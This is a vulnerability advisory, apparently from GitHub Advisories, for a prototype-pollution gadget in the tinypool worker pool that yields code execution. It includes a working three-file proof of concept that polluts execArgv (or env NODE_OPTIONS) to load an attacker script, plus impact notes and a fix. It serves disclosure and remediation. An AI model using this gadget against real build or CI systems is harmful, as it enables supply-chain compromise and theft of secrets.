CVE-2026-104848: Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution
`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`. Node core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection. Two keys reach code execution: 1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script. 2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection. ## Root cause `dist/index.js` lines 508-511: ```js env: this.options.env, argv: this.options.argv, execArgv: this.options.execArgv, resourceLimits: this.options.resourceLimits, ``` `this.options` is built at line 470 via object spread: ```js this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 }; ``` ## Impact Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing). ## Proof of concept Minimal reproduction (3 files): **worker.mjs** — the application's own legitimate worker: ```js export default function double(n) { return n * 2 } ``` **payload.js** — attacker-controlled code (never referenced by the app): ```js const fs = require('fs') fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid) console.log('*** RCE ***') ``` **app.js** — normal tinypool usage: ```js const path = require('path') // Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge) Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')] const { Tinypool } = require('tinypool') const pool = new Tinypool({ filename: path.join(__dirname, 'worker.mjs'), minThreads: 1, maxThreads: 1 }) pool.run(21).then(r => { console.log('pool returned:', r) // 42 — app works normally pool.destroy() }) ``` Run: ``` npm i [email protected] node app.js cat /tmp/RCE_PROOF.txt # attacker's code ran ``` Both `execArgv` and `env` vectors confirmed on Node 20. ## Suggested fix Resolve worker options with own-property semantics: ```js this.options = Object.assign(Object.create(null), kDefaultOptions, options, { filename, maxQueue: 0 }); ```
Recommended action
Recommended action
Upgrade affected packages to a patched version: tinypool 2.1.1.
Technical details
- Vendor
- Not specified
- Product
- tinypool
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source